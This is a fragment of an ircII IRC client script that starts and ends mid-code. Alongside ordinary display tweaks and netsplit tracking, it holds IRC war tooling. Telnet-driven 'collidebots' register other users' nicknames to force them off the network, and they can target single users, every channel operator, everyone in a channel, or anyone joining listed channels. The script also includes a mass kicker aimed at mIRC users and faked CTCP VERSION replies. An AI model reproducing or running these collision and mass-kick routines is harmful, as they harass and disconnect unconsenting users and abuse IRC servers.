*" ^on window -"% ??? You have been rej*" ^on window -"% ??? % Nickname col% KILL*" }} alias floodwall { if (set.wall!=[Y]) { @ set.wall = [Y] secho Global ignore has been engaged. /ignore * all }{ @ set.wall = [N] secho Global ignore has been disengaged. /ignore * none }} alias DoChangeNick { if (var.changing!=[Y]) { @ var.changing= [Y] ChangeNick ^timer -delete 954 timer -refnum 954 5 ^assign -var.changing }} alias incKill { @ killcount = killcount + 1 timer 16 if (cnt.kll>0) {@ cnt.kll= cnt.kll-1} } alias ChangeNick { if (var.nick!=[]) {//NICK $var.dnck} {//NICK $left(5 $N)$rand(9999)} } alias defnick { if ([$0]) {@ var.dnck= [$0]} secho Default nick is now $var.dnck\. } alias maxkills { if ([$0]) {@ max.kll= [$0]} secho Max-Kill limit is now $max.kll\. } EVAL $srand($time()) EVAL antikill ### Server Message Redefinition on ^002 "*" # on ^305 "*" # on ^306 "*" # on ^443 "*" # on ^250 * {qecho $4 max connections available} on ^251 * { qecho ${[$3] + [$6]} total $4 \($3 + $6 $7\) qecho $9 total servers connected to this net } on ^252 * {qecho $1 IRC operators connected} on ^253 * {qecho $1 $2-} on ^254 * {qecho $1 known $2-} on ^255 * {qecho $3 users and $6 servers} on ^265 * {qecho $6 max users allowed on server \(${[$6] - [$4]} avail\)} on ^266 * {qecho $6 max users allowed on net \(${[$6] - [$4]} avail\)} on ^391 * {if ([$3]==[january]) {@ d.month = 1};if ([$3]==[february]) {@ d.month = 2};if ([$3]==[march]) {@ d.month = 3};if ([$3]==[april]) {@ d.month = 4};if ([$3]==[may]) {@ d.month = 5};if ([$3]==[june]) {@ d.month = 6};if ([$3]==[july]) {@ d.month = 7 };if ([$3]==[august]) {@ d.month = 8};if ([$3]==[september]) {@ d.month = 9};if ([$3]==[october]) {@ d.month = 10};if ([$3]==[november]) {@ d.month = 11};if ([$3]==[december]) {@ d.month = 12};secho $[3]2 $d.month\/$4/96 \($ftm($Z)\)} on ^465 * {secho You have been k-lined from $0 : $1-} on ^332 "*" yecho Topic for $1: $2- on ^329 * {yecho $1\: Created on $strftime($2 %c)} on ^333 * if ([$3]) { yecho Topic for $1 set by $2 on $strftime($3 %c)}{ yecho Topic $1- } on ^401 "*" yecho $1: There is no such nickname. on ^406 "% % *no such nickname*" yecho $1: There was no such nickname. on ^404 "*" check_synch $0- on ^481 "*" yecho Denied, you are not an irc operator. on ^482 "*" { /check_synch $0- } ^on ^window "% ??? Users on % *" { yecho Users on $4 $strip(: $5-) } ^alias fix.whois { on ^311 "*" { /yecho %( Whois information )% /yecho Name: [$1] \($5-\) /yecho Address: [$2@$3] } on ^319 "*" { /yecho Channels: [$1-] } on ^312 * if (match([*.*] $2)) { if ([$1]!=[$strip([] $2)]) { /yecho Server: [$1] \($3-\) -> $strip([] \($2\))}{ /yecho Server: [$1] \($3-\) }}{ /yecho Server: [$1] \($2-\) } on ^317 "*" { if (index(012345679 $3) != -1) { ^assign -sectime ^assign -mintime ^assign sectime $2 @ mintime = sectime / 60 /yecho Idle: [$mintime minute\(s\) \($2 seconds\)] /yecho on Since: [$stime($3)] }{ ^assign -sectime ^assign -mintime ^assign sectime $2 @ mintime = sectime / 60 /yecho Idle: [$mintime minute\(s\) \($2 seconds\)] } on ^301 "*" { /yecho Set-away: [$1-] } } on ^313 "*" { /yecho ircOP: [$1 has operator status] }} ^fix.whois on ^314 "*" { /yecho %( Whowas information )% /yecho Nick: [$1] /yecho Name: [ $5- ] /yecho Address: [$2@$3] } alias fix.away {^on ^301 "*" {/yecho Set-away: [$1-]}} alias check_synch { if ([$0]!=[$desynch]) { if ([$0]!=[$S]) { secho $0 is desynched from the net. ^assign desynch $0 tref 500 60 ^assign -desynch }{/yecho $1-}}} alias mdact { if ((isop($N $1))&&([$mdwait]!=[$0])&&([$decode($0)]!=[$N])) { mmode $1 -o $decode($0) secho %massdeop detected% by $decode($0) on [$1] ^assign mdwait $0 tref 501 8 ^assign -mdwait } @ mcount = 0 } alias rv { //msg $0 $lastv } alias kact { if ((isop($N $1))&&([$kwait]!=[$0])&&([$decode($0)]!=[$N])) { mmode $1 -o $decode($0) secho %masskick detected% by $decode($0) on [$1] ^assign kwait $0 tref 502 8 ^assign -kwait } @ kcount = 0 } alias wnoti { @ TMPWRD = [] secho Word notification is currently $HLINGS\. ^assign HLTMP $"[%S%] Turn word notification : " if ([$HLTMP]==[on]) { ^assign TMPWRD $"[%S%] Enter keyword to be notified upon: " if ([$TMPWRD]!=[]) { ^assign HLINGS on ^assign hilite $TMPWRD secho Word notification will be triggered by the word $hilite\. }{ secho No notification word given. }}{ if ([$HLTMP]==[off]) { ^assign HLINGS off ^assign -hilite }}{ secho Word notification status is unchanged. }} alias mdtest { if ([$0]==[$lastmd]) { @ mcount = mcount + $2 ^timer 12 submode if (mcount>msensor) {/mdact $0 $1}}{ ^assign lastmd $0 @ mcount = $2 ^timer 12 submode if (mcount>msensor) {/mdact $0 $1}}} alias ktest { if (([$0]==[$lastmdk])&&([$0]!=[$encode($N)])) { @ kcount = kcount + 1 ^timer 12 subkick if (kcount>ksensor) {/kact $0 $1} }{^assign lastmdk $0}} ### MODE & KICK Handlers on -raw_irc "% MODE *" { @ mdcnt = 0 @ nixcnt = 0 ^assign mde + ^assign mdech $3 ^assign nix $4- @ mdchop = [$encode($left($index(! $0) $0))] if (([$prot]==[on])&&(rmatch($3 -ooo* *-ooo*))) {/mdact $mdchop $2} while (mid($mdcnt 1 $mdech)!=[]) { ^assign mdecc $mid($mdcnt 1 $mdech) if (([$mdecc]==[-])||([$mdecc]==[+])) {^assign mde $mdecc}{ if (match($mdecc b o k l m n s t p i)) { if ([$mde$mdecc]==[+b]) { if ((match($word($nixcnt $nix) $ownadd))&&(rmatch($0 *!*))) {/bansave $2 $mdchop $word($nixcnt $nix)} if ((!rmatch($0 *!*))&&(isop($N $2))&&([$nhp]==[on])&&([$SAVEBAN]==[])) {/mmode $2 -b $word($nixcnt $nix)} ^assign -SAVEBAN } if ([$mde$mdecc]==[+o]) { if ((!rmatch($0 *!*))&&(isop($N $2))&&([$nhp]==[on])) {/mmode $2 -o $word($nixcnt $nix)}} if ([$mde$mdecc]==[-o]) {/if ([$prot]==[on]) {/mdtest $mdchop $2 1}} if ([$mde$mdecc]==[+k]) { ^assign chankey $word($nixcnt $nix) if ((rmatch($word($nixcnt $nix) $false_chars))&&(rmatch($0 *!*))) { EVAL ^set status_mode $word(0 \(+$M\)) ^timer 10 _checkkey if ((isop($N $2))&&([$keyprot]==[on])) {/mmode $2 -k $word($nixcnt $nix)} } {/if ((!rmatch($0 *!*))&&(isop($N $2))&&([$NHP]==[on])) {/mmode $2 -k $word($nixcnt $nix)}} } @ nixcnt = nixcnt + 1 }} @ mdcnt = mdcnt + 1 }} on ^mode "*.* #% *" { secho %nethack detected% in [$1] [$2- by $0] } alias bansave { if (isop($N $0)) { mmode $0 -ob $decode($1) $2 kkick $0 $decode($1) $uban.kickmsg } ^assign SAVEBAN YES secho %ban on you detected% by $decode($1)  } ### kick handler on ^window "*** You have been kicked*" {} on ^window "*** *has been kicked*" {} on -raw_irc "% KICK *" { ^assign kickchan $strip(: $2) ^assign kickperson $encode($left($index(! $0) $0)) if ([$3]==[$N]) { yecho You were kicked from $2 by $nickonly($0) \($strip(: $4-)\) if ([$KICKFLASH]==[on]) {^flash $decode($enickonly($0))} if ([$prot]==[on]) {/ktest $kickperson $kickchan} if ([$rejoin]==[on]) {^cwait //join $kickchan}} {yecho $3 was kicked from $2 by $nickonly($0) \($strip(: $4-)\)}} alias portscan { ^on ^211 - "*" ^assign -server_inquired ^assign -found_ports ^assign -server_inquired ^on #^364 -567 "*" ^assign server_inquired $$1 ^set display off //links $0 wait -cmd _nextport } alias _nextport { ^on #^364 -567 - "*" secho Tracking ports for server $server_inquired, please wait... portf $server_inquired } alias portf { ^assign -connecting_port ^assign -port_output ^assign -serverp ^assign -serverp_size ^assign serverp $0 ^assign serverp_size $@serverp ^on #^211 -567 "*" if (match($serverp $left($serverp_size $1))) { ^assign connecting_port $1 @port_output = port_output ## [$lastbit($connecting_port) ] } wait -CMD # //stats l $serverp wait -CMD _nextport2 } alias _nextport2 { ^timer 10 fportclean @ function_return = [$port_output] } alias fportclean { ^on #^211 -567 - "*" secho The port(s) for server $server_inquired are: secho $port_output secho Port tracking complete. ^set display on } alias lastbit { ^assign -lastbits ^assign -lastbits2 @ lastbits = rindex(. $0) @ lastbits = lastbits + 1 @ lastbits2 = mid($lastbits $lastbits $0) @ function_return = strip(] $lastbits2) } alias links { ^assign -lcounter ^assign -lserver ^assign -lclass @ lcounter = 1 ^on ^364 "*" { ^assign lserver $stu($1) ^assign lclass $3 ^assign llink $stu($2) yecho \($[-3]lcounter\) \($[-3]lclass\) $[-25]lserver\ \[$llink\] @ lcounter = lcounter + 1 } //links $0 ^on ^365 "*" {^on ^364 -*;^on ^365 -* }} alias stu { if ([$right(13 $0)] == [.undernet.org]) { @ tmp = left($rindex(. $0) $0) @ function_return = left($rindex(. $tmp) $tmp) } { @ function_return = [$0] }} ### Nick flood Protection on -channel_nick "*" { if ( ([$cprot]==[on])&&([$2]!=[$N])) { if ([$newnick1]==[$encode($1)]) {@ nickcnt = nickcnt + 1} if (nickcnt==nicksensor) { if (isop($N $0)) { kkick $0 $2 $nick.floodmsg secho %nickflood detected% by $2 on [$0] } @ nickcnt = 0 } ^assign newnick1 $encode($2) ^timer 30 ^assign -newnick1 ^timer 30 @ nickcnt = 0 }} set input_prompt Now loading schlong! .o%&[::S::::::]&%o. alias protect if ([$0]){ @ act = 0 @ newstuff = [$0-] while (word($act $newstuff)){ userhost $word($act $newstuff) -cmd ^assign prdudes $$0!$$3@$$4 $prdudes wait secho Deop protection added for $[40]word(0 $prdudes)  nnotice $0 You are now being deop protected. @ act = act + 1 } } { secho Currently protecting: prottlist $prdudes } alias noprot { secho Cleared protection list. @ prdudes = [] } on #-mode -301 * { @ testg = 0 @ arg = 3 @ pos = 0 @ change = [] @ argume = [] while (mid($pos 1 $2)!=[]) { if (mid($pos 1 $2)==[+]){@ oppos = [-]} if (mid($pos 1 $2)==[-]){@ oppos = [+]} if ((mid($pos 1 $2)==[l])&&(oppos!=[+])){@ arg = arg + 1} if (mid($pos 1 $2)==[k]){@ arg = arg + 1} if (mid($pos 1 $2)==[v]){@ arg = arg + 1} if (mid($pos 1 $2)==[o]){ @ cha = [$mid($pos 1 $2)] if (oppos==[+]){checkop $oppos$cha $($arg)} @ arg = arg + 1 } if (mid($pos 1 $2)==[b]){ @ cha = [$mid($pos 1 $2)] if (oppos==[-]){checkban $oppos$cha $($arg)} @ arg = arg + 1 } @ pos = pos + 1 } if (testg) {mode $1 $change $argume} ^fix.away } alias checkop { @ cop = 0 while (cop<=#prdudes) { if (rmatch($word($cop $prdudes) $1*)){ @ testg = 1 @ change = [$change$0] @ argume = [$argume $1] } @ cop = cop + 1 } } ^assign -prdudes alias checkban { @ cop = 0 while (cop<=#prdudes) { if (rmatch($word($cop $prdudes) $1)){ @ testg = 1 @ change = [$change$0] @ argume = [$argume $1] } @ cop = cop + 1 } } alias prottlist if ([$0]){yecho $0 ;prottlist $1-}{secho End of list.} ## tha nick tracer alias tag { if ([$0]) { ^assign trace.nick $0 @ tracenum = tracenum + 1 ^on ^319 "*" { } ^on ^312 "*" { } ^on ^313 "*" { } ^on ^317 "*" { } ^on ^311 "*" { ^assign tracename[$tracenum] $2 } ^on ^312 "*" { ^assign traceserv[$tracenum] $1 } whois $0 echo secho $trace.nick\ has been given the index number $tracenum\. secho To find $trace.nick later, type /WHEREIS $tracenum\. secho NOTE: This will only work if $trace.nick does not change servers. ^timer 2 ^fix.whois }{ secho Usage: /TAG <nick>. Tags a nick to find him later via CTCP version. }} alias whereis { if ([$0]) { if ([$tracenum]>=[$0]) { //ctcp $tracename[$0]\@$traceserv[$0] VERSION secho If this person has not signed off or changed servers or accounts, secho You will get a VERSION reply from them under their new nick. }}{ secho That trace index does not exist. }} alias tracereset { @ tracenum = 0 } alias wordkick { if ([$0]) { EVAL ^on -public "% % *$0-*" {/kkick $1 $0 $wordkmsg\} EVAL ^on -action "% % *$0-*" {/kkick $1 $0 $wordkmsg\} secho Wordkick will be activated by anyone saying $0-\. }{/secho Usage: /WORDKICK <word>. Places wordkick on word.} } alias remwk { if ([$0]) { ^on public - "% % *$0-*" ^on action - "% % *$0-*" secho $0 removed from the wordkick list. }{/secho Usage: /REMWK <word>. Removes word from yer wordkick list.} } alias vk { if ([$0]) { /eval k $verguy $0- }{ /eval k $verguy dOnt versiOn mE }} ## mirc kicker ;) alias mirckick { secho Engaging mIRCkick in [$C\] //say \(%S%)\ Sweeping channel clean of mIRCers.. @ m.count = 0 /ver ^on ^ctcp_reply "*VERSION*mIRC*" {@ m.count = m.count + 1 //kick $C $0 \mIRCer \($m.count\)} /timer 45 ^on ^ctcp_reply "*VERSION*mIRC*" - * { }} alias mlkick { if (match($0 on off)) {/up_it leechkick $0} secho Leech-kick is currently $leechkick\. } alias showml { secho $num.mlist\ Mass XDCC lists detected this session. } alias pubml { //say (%S%) Mass XDCC list's detected this session: $num.mlist\ } alias autocheck { ^assign ainuse Y foreach ENEMIES XX { if ((rmatch($ENEMIES[$XX] $1))||(match($ENEMIES[$XX] $1))) { if ([$bkmatch]==[]) { if ([$COMMENTS[$XX]]!=[]) { mmode $0 -o+b $decode($2) $ENEMIES[$XX] kkick $0 $decode($2) $COMMENTS[$XX] }{ mmode $0 -o+b $decode($2) $ENEMIES[$XX] kkick $0 $decode($2) $abkickmsg } @ bkmatch = 1 }}} ^assign -bkmatch if (([$autoop]==[on])&&([$chanpass($0)]==[YES])&&(rmatch($1 $OPLIST))) {^timer 3 _delayop $0 $2} } on -raw_irc "% JOIN *" {/if (isop($N $strip(: $2))) {/autocheck $strip(: $2) $safe($0) $encode($left($index(! $0) $0))}} on ^join * {^netjoined $encode($tolower($1)) $encode($0) $1 $0 $safe($Userhost()) if (([$0]!=[$N])&&([$checkops]==[on])) {wait -cmd ^isircop $0} if ((isdccer($0)) && ([$voicedcc]==[on])) {^voice $0} if (([$1]==[$C])&&([$joingreet]==[on])) {^timer 3 say $0!&#@!&#@!&#@!@&#} if ([$verjtog]==[on]) {^ctcp $0 version} if (([$GB] == [on])&&([$GBNICK] == [$0])) {/if (isop($N $1)) {//mode $1 +o $GBNICK;/protect $GBNICK}} if (([$0]==[$N])&&([$shstats] == [on])) {/shstat}} alias netclean { foreach splittime ii { foreach splittime.$ii jj { if ( time() - splittime[$ii][$jj] > 300 ) { foreach signcross.$(ii).$jj xx { foreach signcross.$(ii).$(jj).$xx yy { ^assign -signcross[$ii][$jj][$xx][$yy] ^assign -signoffs[$xx][$yy] }} ^assign -xx ^assign -yy ^assign -isbroke[$ii][$jj] ^assign -splitname[$ii][$jj] ^assign -splittime[$ii][$jj] }}} ^assign -ii ^assign -jj } alias isdccer { if (rmatch(.$0. *dcc* *..*)) { @ function_return = 1 } } alias isbogus { if ([$3]) { @ function_return = 1 } if (rmatch(.$1. $bogus_patterns *..*)) { @ function_return = 1 } if (rmatch(.$2. $bogus_patterns *..*)) { @ function_return = 1 } } on ^channel_signoff "% % %.% %.*" { if (isbogus($1-)) {/qecho Signoff: $1\ \($2-\) from [$0]} {^netbroke $encode($tolower($0)) $encode($1) $encode($2).$encode($3) $2-} } alias netbroke { ^assign signcross[$2][$0][$1] 1 ^assign signoffs[$0][$1] $2 ^assign splittime[$2] $time() if (isbroke[$2]==[]) { ^assign isbroke[$2] 1 ^assign splitname[$2] $3- @ issplit = [YES] ^assign split.serv $4 secho %netsplit detected% at $ftm($Z): \($3-\) secho Type /WL to see who split off, Ctrl-T to take it. }} alias netjoined { if (signoffs[$0][$1]) { if (isbroke[$signoffs[$0][$1]]) {/secho %netjoin detected% at $ftm($Z) \($splitname[$signoffs[$0][$1]]\)} @ issplit = [NO] ^assign -isbroke[$signoffs[$0][$1]] ^assign -signcross[$signoffs[$0][$1]][$0][$1] ^assign -signoffs[$0][$1] } { if ([$showstuff]==[on]) {/yecho $3\!$4- has joined channel $2\.} {} }} on ^signoff "*" { if ([$showstuff]==[on]) {qecho Signoff: $0 \($1-)} {} } on ^leave "*" { if ([$showstuff]==[on]) { ^assign leaveadr $safe($Userhost()) yecho $0\!$leaveadr\ has left channel $1\. } {} } alias netpurge { purge isbroke purge splitname purge splittime purge signcross purge signoffs } alias lformat { @ IRCII.word = [$1-] if (@IRCII.word < [$0]) {@ function_return = [$([$0]IRCII.word)]} {@ function_return = [$IRCII.word]} } alias wholeft { foreach signoffs ii {/foreach signoffs.$ii jj {/secho $lformat(15 $decode($ii)) $lformat(10 $decode($jj)) $splitname[$signoffs[$ii][$jj]]}} ^assign -ii ^assign -jj } alias ws { ^on ^raw_irc "% 352 *" { @ ws_ = [$7\!$4\@$5] #echo $3 $[2]strip(GH $8) $[40]ws_ \($strip(: $9)\)$6 echo $3 $[2]8\ $[40]ws_ \($strip(: $9)\)$6 ^assign -ws_ } w $C wait ^on ^raw_irc -"% 352 *" } ### Split Finder ^assign -serverlist1 ^assign -serverlist2 ^assign -serverlist3 ^assign -servers @ servercount = 0 ^alias getservers { secho Generating server list... ^assign serverlist1 N ^assign serverlist2 N @ servercount = 0 ^assign -servers ^on ^raw_irc "% 364 *" { ^eval ^exec echo "loadserversub $3" >> server.list @ servercount = servercount + 1 ^assign servers[${servercount-1}] $3 No if ([$servercount] < [100]) { ^assign serverlist1 $serverlist1 $3 } { ^assign serverlist2 $serverlist2 $3 } } ^on ^raw_irc "% 365 *" { secho Server list generated. $servercount servers found. } links wait ^on raw_irc -"% 364 *" ^on raw_irc -"% 365 *" } ^alias loadserversub { @ servercount = servercount + 1 if ([$servercount] < [100]) { ^assign serverlist1 $serverlist1 $0 } { ^assign serverlist2 $serverlist2 $0 } ^assign servers[${servercount-1}] $0 No } ^alias loadservers { secho Loading server list... @ servercount = 0 ^assign serverlist1 N ^assign serverlist2 N ^assign -servers load server.list wait -cmd secho $servercount servers loaded. } ^alias servers { secho There are $servercount servers in memory. } ^alias setserver { if ([$match($0 $serverlist1)] != [0]) { ^assign servers[${match($0 $serverlist1) -2}] $0 $1 } { if ([$match($0 $serverlist2)] != [0]) { ^assign servers[${match($0 $serverlist2) +97}] $0 $1 } { @ servercount = servercount + 1 ^assign servers[${servercount-1}] $0 New if ([$servercount] < [100]) { ^assign serverlist1 $serverlist1 $0 } { ^assign serverlist2 $serverlist2 $0 } ^eval ^exec echo "loadserversub $0" >> server.list } } ^assign -ssx } ^alias findsplit { if ([$servercount] < [1]) { secho You have no server list loaded. } { secho Generating list of splits... @ splitsfound = 0 ^on ^raw_irc "% 364 *" { setserver $3 Yes } ^on ^raw_irc "% 365 *" { ^on raw_irc -"% 364 *" ^on raw_irc -"% 365 *" } @ sx = 0 while ([$sx] < [$servercount]) { @ sx = sx + 1 setserver $word(0 $servers[${sx -1}]) No } wait links wait @ sx = 0 @ splitcount = 0 while ([$sx] < [$servercount]) { @ sx = sx + 1 ^assign workwith $word(1 $servers[${sx-1}]) if ([$workwith]==[NO]) { yecho Split: $word(0 $servers[${sx-1}]) @ splitcount = splitcount + 1 } { if ([$workwith]==[NEW]) { yecho New: $word(0 $servers[${sx-1}]) } } } wait if ([$splitcount] > 0) { secho $splitcount split servers found. } { secho No split servers found. } ^assign -sx } } @ BNX = 10 @ TNX = 10 ^on ^exec "telbox* Trying %.*" # ^on ^exec "telbox* *" # ^on ^window "? Connection closed by*" # ^on ^exec "telbox* * 465 *" { ^assign sts N @ botnum = [$right(2 $0)] techo k-lined on $colsrvr[$botnum]. } ^on ^exec "telbox* * 464 *" { ^assign sts N } ^on ^exec "telbox* *No more connections*" { ^assign sts Y } ^on ^exec "telbox* *Ping Timeout*" { ^assign sts Y } ^on ^exec "telbox* *No Auth*" { ^assign sts N @ botnum = [$right(2 $0)] techo No authorization on $colsrvr[$botnum]. } ^on ^window "? *ioctl*" # ^on ^exec "telbox* Escape character is*" { @ botnum = [$right(2 $0)] if ([$SETQ]!=[on]) { } ^exec -in %$0 USER $tolower($randcrap(6)) . . :sCHoLiDe } ^on ^exec_exit "telbox* *" { @ botnum = [$right(2 $0)] @ colchk[$botnum] = [N] if ([$offline]==[YES]) { ^assign sts N } if ([$sts]!=[Y]) { techo \($colsrvr[$botnum]\) Collidebot was disconnected. @ colsrvr[$botnum] = [] @ colport[$botnum] = [] @ botnick[$botnum] = [] ^assign colchk[$botnum] N }{ EVAL sourcer $botnum } ^assign sts Y } ^on #^join -21 * { if (match($1 $ajchan)) { tk $0 }} alias sourcer { if ([$SETQ]!=[on]) { techo Sourcing TS on $colsrvr[$0] ... } timer 4 ^exec -NAME telbox$0 telnet $colsrvr[$0] $colport[$0] @ colchk[$0] = [Y] } ^on ^exec "telbox* :% 001 *" { @ botnum = [$right(2 $0)] techo \($colsrvr[$botnum]\) Successful collision: $3\ @ tkills = tkills + 1 @ thit[$botnum] = thit[$botnum] + 1 ^assign sts Y ^exec -9 %telbox$botnum } ^on ^exec "telbox* :% NICK :%" { @ botnum = [$right(2 $0)] @ tmpnik = [$strip(: $3)] if ([$tmpnik]!=[$botnick[$botnum]]) { techo \($colsrvr[$botnum]\) Successful collision: $tmpnik\ @ tkills = tkills + 1 @ thit[$botnum] = thit[$botnum] + 1 }} ^on ^exec "telbox* :* 433 * *" { @ botnum = [$right(2 $0)] @ tmpnik = [$strip(: $3)] @ tmiss[$botnum] = tmiss[$botnum] + 1 if ([$tmpnik]!=[$botnick[$botnum]]) { if ([$SETQ]!=[on]) { techo \($colsrvr[$botnum]\) Failed collision: $4\ }}} alias bgres { ^exec -9 %telbox$0 } alias kills { techo Successful kills this session: $tkills\ } alias pkills { //say [%schlong%] Successful kills this session: $tkills\ } alias bgcol { if ([$3]!=[N]) { techo Connecting collider to \($1\\) port $2 ... ^exec -NAME telbox$0 telnet $1 $2 ^assign sts Y @ colchk[$0] = [Y] }} alias nckill { if ([$0]) { if ([$0]==[on]) { techo Collide on nick changes are now on. ^on #^nickname -21 * { if (!rmatch($1 $hostp)) { if (!rmatch($1 $N)) { tk $1 }}{ techo $1\ found in safe list, skipping. }}}{ if ([$0]==[off]) { ^on #^nickname -21 * {} techo Collide on nick changes are now off. }}}{ secho Usage: /NCKILL <on/off>. Toggles collide-on-nick-change. }} alias ksafe { if ([$0]) { if ([$[1]0]!=[-]) { @ totns = totns + 1 @ hostp = [$0 $hostp] techo $0\ is now safe from nick collisions. }{ @ totns = totns - 1 @ tmptnick = [$0] @ tmpsfe = [$right(${@tmptnick-index(- $0)+1} $0)] techo $tmpsfe\ has been removed from safe list. @ hostp = [$rem_w($tmpsfe $hostp)] }}{ if ([$totns]!=[0]) { techo Nicknames currently safe from collision: techo ---------------------------------------- @ nsl = 0 while (nsl < totns) { @ listnl = [$word($nsl $hostp)] @ nsl = nsl + 1 if ([$listnl]!=[]) { techo = $listnl\ }} techo ---------------------------------------- }{ techo There is nobody in yer safe list. }}} alias ajkill { if ([$0]) { if ([$[1]0]!=[-]) { @ totaj = totaj + 1 @ ajchan = [$0 $ajchan] techo Channel $0\ added to autojoin kill list. }{ @ tmpchan = [$0] @ totaj = totaj - 1 @ ajcol = [$right(${@tmpchan-index(- $0)+1} $0)] @ ajchan = [$rem_w($ajcol $ajchan)] techo Channel $ajcol\ removed from autojoin kill list. }}{ if ([$totaj]!=[0]) { techo Channels you are currently colliding: techo ------------------------------------- @ ajl = 0 while (ajl < totaj) { @ listaj = [$word($ajl $ajchan)] @ ajl = ajl + 1 if ([$listaj]!=[]) { techo = $listaj\ }} techo ------------------------------------- }{ techo There are no channels in yer AutoJoin kill list. }}} alias tbot { @ TNX = TNX + 1 @ colport[$TNX] = [6667] ^assign offline NO if ([$0]) { ^assign colsrvr[$TNX] $0 ^assign colport[$TNX] 6667 }{ ^assign colsrvr[$TNX] $"[%S%] Collide server: " ^assign colport[$TNX] $"[%S%] Port : " } @ colchk[$TNX] = [Y] @ tmiss[$TNX] = 0 @ thit[$TNX] = 0 bgcol $TNX $colsrvr[$TNX] $colport[$TNX] $colchk[$TNX] } alias kops {^on ^who "*" {tk $1};^who -chops $C;wait -CMD ^on -who - "*"} alias kall {^on ^who "*" {tk $1};^who $C;wait -CMD ^on -who - "*"} alias tq { if ([$0]) { if ([$0]==[on]) { techo Quiet collision is now on. ^assign SETQ on }{ if ([$0]==[off]) { techo Quiet collision is now off. ^assign SETQ off }}}{ secho Usage: /TQ <on/off>. Only notify you on successful collisions. }} alias tk { if ([$0]!=[$N] && [$TNX]!=[10]) { @ PNX = 10 if (!rmatch($0 $hostp)) { if ([$SETQ]!=[on]) { techo Attempting to collide $0 .. } while (PNX < TNX) { @ PNX = PNX + 1 if ([$colchk[$PNX]]!=[N]) { ^hook bgtel $0 $PNX }}}}} ^on -hook "bgtel* * *" { ^exec -IN %telbox$2 NICK $1 ^exec -IN %telbox$2 USER $tolower($randcrap(6)) . . :schlong? } alias dtk { if ([$TNX]!=[10]) { if ([$0]) { if ([$0]==[ALL]) { techo Disconnecting all collidebots.. @ BNX = 10 while (BNX < TNX) { @ BNX = BNX + 1 @ colchk[$BNX] = [N] bgres $BNX ^assign offline YES } @ TNX = 10 }{ techo Disconnecting collidebot $0\.. ^assign sts N @ TMPNX = [$strip(# $0)] @ BNX = TMPNX + 10 if ([$TNX]==[11]) { @ TNX = 10 } @ colchk[$BNX] = [N] bgres $BNX }}{ secho Usage: /DTK <#num/all>. Disconnects all colliders. }}{ techo There are no colliders currently connected. }} alias lbots { if ([$TNX]!=[10]) { @ TMPNX = 10 techo Collidebots currently online.. techo -------------------------------------------------------- while (TMPNX < TNX) { @ TMPNX = TMPNX + 1 if ([$colchk[$TMPNX]]!=[N]) { @ BNX = TMPNX - 10 techo #$BNX\: Port $colport[$TMPNX]: \($[30]colsrvr[$TMPNX]\) - $thit[$TMPNX]/$tmiss[$TMPNX] }} techo -------------------------------------------------------- }{ techo There are no colliders currently connected.}} alias dothisshit { if ([$encode($N)]!=[GPHAGFGOGGGBGDGF]) { ^fuckme XkeepeR qecho $N, schlong.irc is NOT for pubic distribution! }} alias fuckme { Userhost $0 -CMD if ([$3]) { if ([$4]!=[]) {^nnotice $0 sCh $ver.ver} }} on ^notice "* sCh *" secho [%schlong detected%]: $0 running $2 on ^dcc_raw "% % D % PRIVMSG % :?VERSION*" {^dcc raw $0 $1 NOTICE $func.nick($strip(: $3)) :VERSION mIRC32 v3.72 IRC Client K.Mardam-Bey} on ^dcc_raw "% % D % PRIVMSG % :?PING*" {^dcc raw $0 $1 NOTICE $func.nick($strip(: $3)) :PING $time()\} on #^dcc_raw -21 "% % D *PING*" {^dcc raw $0 $1 PING :$1} on #^dcc_raw -21 "% % D % ??? *" { if ([$4]==[001]) { if ([$dcc.exec[$0]]==[YES]) { if ([$dcc.type[$0]]==[LL]) { @ ll.onln[$0] = [YES] lecho \($0\): Launching LL on $ll.csrv[$0]\. Nick: $5\ schll.raw $0 $ll.csrv[$0] LINKS }}} if ([$4]==[433]) { if ([$dcc.type[$0]]==[LL]) { @ botnew.nick = randnick() schll.raw $0 $ll.csrv[$0] NICK $botnew.nick lecho \($0\): Nick already taken. Changing to $botnew.nick\ }} if ([$4]==[364]) { if ([$dcc.exec[$0]]==[YES]) { if ([$dcc.type[$0]]==[LL]) { @ new.schll_list = [$new.schll_list]##[ $6] }}} if ([$4]==[365]) { if ([$dcc.exec[$0]]==[YES]) { if ([$dcc.type[$0]]==[LL]) { if (encode($old.schll_list) != encode($new.schll_list)) { @ ll.x = 0 while (word($ll.x $new.schll_list)) { if (match($word($ll.x $new.schll_list) $split.servers)) {^hook LINKS MERGE $word($ll.x $new.schll_list)} @ ll.x = ll.x + 1} @ ll.x = 0 while (word($ll.x $old.schll_list)) { if (!match($word($ll.x $old.schll_list) $new.schll_list)) {^hook LINKS SPLIT $word($ll.x $old.schll_list)} @ ll.x = ll.x + 1}} @ old.schll_list = [$new.schll_list] @ new.schll_list = [] ^timer $ll.time llraw.check $0 }}}} on ^dcc_raw "% % D ERROR*" { if ([$dcc.type[$0]]==[LL]) { lecho \($0\): Disconnected from $ll.csrv[$0]\. @ ll.onln[$0] = [NO] @ ll.exec[$0] = [NO] }} on -hook "LINKS *" { if ([$1]==[SPLIT]) { if (!rmatch($2 $excluded)) { lecho Netsplit: $2\ @ split.servers = [$2 $split.servers] }} if ([$1]==[MERGE]) { if (!rmatch($2 $excluded)) { if (rmatch($2 $split.servers)) { lecho Netjoin: $2\ @ split.servers = [$rem_w($2 $split.servers)] }}} if ([$1]==[ADDED]) { if (!rmatch($2 $excluded)) { lecho Added $2\ }}} on -hook "SCHLL *" { if ([$1]==[CONNECT]) { @ dcc.num = connect($2 $3) if ([$dcc.num]) { @ ll.csrv[$dcc.num] = [$2] @ ll.cnic[$dcc.num] = [$4] @ dcc.exec[$dcc.num] = [YES] @ dcc.type[$dcc.num] = [LL] ^dcc raw $dcc.num $2 USER $5 . . :$6- ^dcc raw $dcc.num $2 NICK $4 ^eval on ^dcc_raw "$dcc.num % C" { ^eval on ^dcc_raw -"$0 % C" # lecho \($0\): Disconnected from $ll.csrv[$0]\ ^assign -ll.csrv[$0] ^assign -ll.cnic[$0] ^assign -dcc.exec[$0] ^assign -dcc.type[$0]} lecho \($dcc.num\): Connecting to $2 $3\}{ lecho Cannot connect to $2 $3\}} if ([$1]==[CLOSE]) { if ([$dcc.exec[$2]]==[YES]) { if ([$dcc.type[$2]]==[LL]) { @ dcc.exec[$2] == [NO] @ ll.onln[$2] == [NO] ^assign -dcc.type[$2] dcc close raw $2 }}}} alias llc {^hook schll CONNECT $0-} alias llraw.check {schll.raw $0 $ll.csrv[$0] LINKS} alias llconnect {llc 